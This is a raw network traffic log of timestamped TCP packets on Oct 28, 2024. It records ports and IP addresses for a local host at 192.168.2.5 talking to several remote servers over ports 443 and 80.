Oct 28, 2024 18:43:35.906698942 CET	63578	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:35.906730890 CET	443	63578	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:35.907289982 CET	63578	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:35.907301903 CET	443	63578	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:35.910917044 CET	443	63570	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:35.911336899 CET	63570	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:35.911355972 CET	443	63570	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:35.912081957 CET	63570	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:35.912106991 CET	443	63570	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:35.912125111 CET	63570	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:35.912131071 CET	443	63570	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:35.917829990 CET	443	63576	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:35.918323040 CET	63576	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:35.918351889 CET	443	63576	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:35.918565035 CET	443	63575	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:35.918762922 CET	63576	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:35.918772936 CET	443	63576	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:35.919161081 CET	63575	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:35.919174910 CET	443	63575	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:35.919543982 CET	63575	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:35.919548988 CET	443	63575	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:35.933870077 CET	443	63577	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:35.934276104 CET	63577	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:35.934300900 CET	443	63577	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:35.934827089 CET	63577	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:35.934834003 CET	443	63577	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:35.939445972 CET	443	63574	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:35.940562010 CET	63574	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:35.940579891 CET	443	63574	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:35.943034887 CET	63574	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:35.943041086 CET	443	63574	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:35.974271059 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974323988 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.974348068 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974396944 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974420071 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.974441051 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.974519968 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974530935 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974562883 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974565029 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.974585056 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.974596024 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.974648952 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974659920 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974670887 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974689007 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974699974 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974704027 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.974711895 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974735022 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.974740982 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974750996 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974755049 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.974762917 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974773884 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974776983 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.974783897 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974796057 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974812031 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.974822998 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974834919 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974845886 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.974859953 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.974927902 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974940062 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974951982 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974962950 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974976063 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.974993944 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975022078 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975047112 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975064039 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975085974 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975089073 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975101948 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975110054 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975126028 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975137949 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975143909 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975151062 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975173950 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975195885 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975248098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975260019 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975270987 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975281954 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975292921 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975294113 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975305080 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975321054 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975323915 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975339890 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975361109 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975383043 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975421906 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975522041 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975533009 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975543976 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975553989 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975564957 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975575924 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975585938 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975588083 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975604057 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975609064 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975629091 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975637913 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975667000 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975673914 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975684881 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975743055 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975755930 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975768089 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975779057 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975790977 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975802898 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975821018 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975821018 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975837946 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975898027 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975908995 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975920916 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975940943 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975945950 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.975965977 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975996017 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.975999117 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976010084 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976020098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976031065 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976032019 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976042986 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976052999 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976054907 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976070881 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976072073 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976084948 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976092100 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976094961 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976108074 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976116896 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976119041 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976131916 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976140976 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976142883 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976155043 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976175070 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976193905 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976207972 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976218939 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976228952 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976249933 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976269007 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976269007 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976295948 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976310015 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976320982 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976361990 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976399899 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976413012 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976423979 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976434946 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976447105 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976448059 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976464033 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976470947 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976481915 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976486921 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976500034 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976511002 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976511002 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976530075 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976540089 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976562023 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976587057 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976632118 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976641893 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976651907 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976663113 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976675034 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976685047 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976692915 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976697922 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976721048 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976746082 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976762056 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976773024 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976794004 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976805925 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976816893 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976816893 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976818085 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976830006 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976831913 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976851940 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976872921 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.976963997 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976975918 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976986885 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.976998091 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977009058 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.977009058 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977020979 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977042913 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.977049112 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977051973 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.977058887 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977097034 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.977159023 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977169991 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977180958 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977196932 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977202892 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.977221966 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977226019 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.977243900 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.977273941 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.977358103 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977370024 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977381945 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977402925 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.977425098 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.977438927 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977452993 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977479935 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.977499962 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.977659941 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977672100 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977682114 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977694988 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977705956 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977716923 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977725983 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.977758884 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.977832079 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977878094 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.977884054 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977895021 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977924109 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977935076 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.977936029 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.977972031 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.979950905 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.980001926 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.980014086 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.980026007 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:35.980034113 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:35.980062008 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:36.013793945 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:36.013856888 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:36.013876915 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:36.013915062 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:36.013943911 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:36.014076948 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:36.014139891 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:36.014528036 CET	63559	443	192.168.2.5	4.152.199.46
Oct 28, 2024 18:43:36.014549971 CET	443	63559	4.152.199.46	192.168.2.5
Oct 28, 2024 18:43:36.021814108 CET	443	63580	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:36.022161007 CET	63580	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:36.022181988 CET	443	63580	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:36.022524118 CET	443	63580	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:36.023785114 CET	63580	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:36.023866892 CET	443	63580	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:36.033912897 CET	443	63578	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.033967972 CET	443	63578	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.034569979 CET	63578	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.035439968 CET	63578	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.035439968 CET	63578	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.035459042 CET	443	63578	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.035480022 CET	443	63578	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.043903112 CET	63583	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.043915987 CET	443	63583	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.044114113 CET	63583	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.044652939 CET	63583	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.044662952 CET	443	63583	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.049954891 CET	443	63575	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.050020933 CET	443	63575	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.050071001 CET	63575	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.050580025 CET	443	63576	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.050654888 CET	443	63576	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.050815105 CET	63576	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.051501036 CET	63575	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.051501036 CET	63575	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.051511049 CET	443	63575	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.051520109 CET	443	63575	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.051837921 CET	63576	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.051852942 CET	443	63576	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.051881075 CET	63576	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.051892996 CET	443	63576	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.055903912 CET	443	63582	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:36.056193113 CET	63582	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:36.056206942 CET	443	63582	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:36.056406975 CET	63584	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.056428909 CET	443	63584	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.056483984 CET	63584	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.057372093 CET	63584	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.057383060 CET	443	63584	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.059636116 CET	63585	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.059668064 CET	443	63585	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.059722900 CET	63585	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.059917927 CET	443	63582	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:36.059983015 CET	63582	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:36.060426950 CET	63582	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:36.060596943 CET	443	63582	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:36.060755014 CET	63585	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.060766935 CET	443	63585	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.067748070 CET	443	63579	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:36.067970037 CET	63580	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:36.068398952 CET	63579	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:36.068407059 CET	443	63579	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:36.068885088 CET	443	63574	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.068933010 CET	443	63579	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:36.069509983 CET	63579	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:36.069591045 CET	443	63579	13.107.246.57	192.168.2.5
Oct 28, 2024 18:43:36.069638968 CET	443	63574	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.069803953 CET	63579	443	192.168.2.5	13.107.246.57
Oct 28, 2024 18:43:36.069832087 CET	63574	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.070246935 CET	443	63577	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.070391893 CET	443	63577	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.070488930 CET	63574	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.070496082 CET	443	63574	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.070511103 CET	63574	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.070513010 CET	63577	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.070516109 CET	443	63574	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.070568085 CET	63577	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.070584059 CET	443	63577	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.070595980 CET	63577	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.070600986 CET	443	63577	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.073661089 CET	63586	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.073673010 CET	443	63586	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.073755980 CET	63586	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.074465036 CET	63586	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.074465036 CET	63587	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.074476957 CET	443	63586	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.074481010 CET	443	63587	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.074548960 CET	63587	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.074654102 CET	63587	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:36.074667931 CET	443	63587	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:36.091722012 CET	80	63519	185.215.113.206	192.168.2.5
